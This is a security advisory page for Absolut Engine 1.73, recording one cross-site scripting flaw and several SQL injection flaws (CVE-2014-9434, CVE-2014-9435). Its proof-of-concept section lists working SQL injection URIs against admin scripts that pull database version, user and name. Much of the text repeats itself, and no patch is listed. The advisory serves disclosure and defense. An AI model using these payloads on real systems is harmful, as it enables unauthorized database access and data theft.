Absolut Engine Cross Site Scripting and Multiple SQL Injection Vulnerabilities
BID:71822
Info
Absolut Engine Cross Site Scripting and Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 71822 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-9435 CVE-2014-9434 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 30 2014 12:00AM |
| Updated: | Jan 12 2015 03:01AM |
| Credit: | Steffen Rosemann |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Absolut Engine Cross Site Scripting and Multiple SQL Injection Vulnerabilities
Absolut Engine is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Absolut Engine 1.73 is vulnerable; other versions may also be affected.
Absolut Engine is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Absolut Engine 1.73 is vulnerable; other versions may also be affected.
Exploit / POC
Absolut Engine Cross Site Scripting and Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit the SQL-injection issues. An attacker must trick a victim into following a malicious URI to exploit a cross-site scripting issue.
The following example URIs are available:
http://www.example.com/admin/managersection.php?&username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&sectionID=1%27+and+1=2+union+select+1,version%28%29,3,4,5,6+--+*
http://www.example.com/admin/edituser.php?username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&userID=3%27+and+1=2+union+select+1,user%28%29,3,version%28%29,5,database%28%29,7,8,9+--+*
http://www.example.com/admin/admin.php?username=admin%27+and+substring%28user%28%29,1,4%29=%27root%27+--+&session=c8d7ebc95b9b1a72d3b54eb59bea56c7*
http://www.example.com/admin/managerrelated.php?username=user&session=ae29000d8570273c8917e874d029b336&articleID=0&title={some_title}%27+and+1=2+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12+--+*
Attackers can use a browser to exploit the SQL-injection issues. An attacker must trick a victim into following a malicious URI to exploit a cross-site scripting issue.
The following example URIs are available:
http://www.example.com/admin/managersection.php?&username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&sectionID=1%27+and+1=2+union+select+1,version%28%29,3,4,5,6+--+*
http://www.example.com/admin/edituser.php?username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&userID=3%27+and+1=2+union+select+1,user%28%29,3,version%28%29,5,database%28%29,7,8,9+--+*
http://www.example.com/admin/admin.php?username=admin%27+and+substring%28user%28%29,1,4%29=%27root%27+--+&session=c8d7ebc95b9b1a72d3b54eb59bea56c7*
http://www.example.com/admin/managerrelated.php?username=user&session=ae29000d8570273c8917e874d029b336&articleID=0&title={some_title}%27+and+1=2+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12+--+*
Solution / Fix
Absolut Engine Cross Site Scripting and Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Absolut Engine Cross Site Scripting and Multiple SQL Injection Vulnerabilities
References:
References: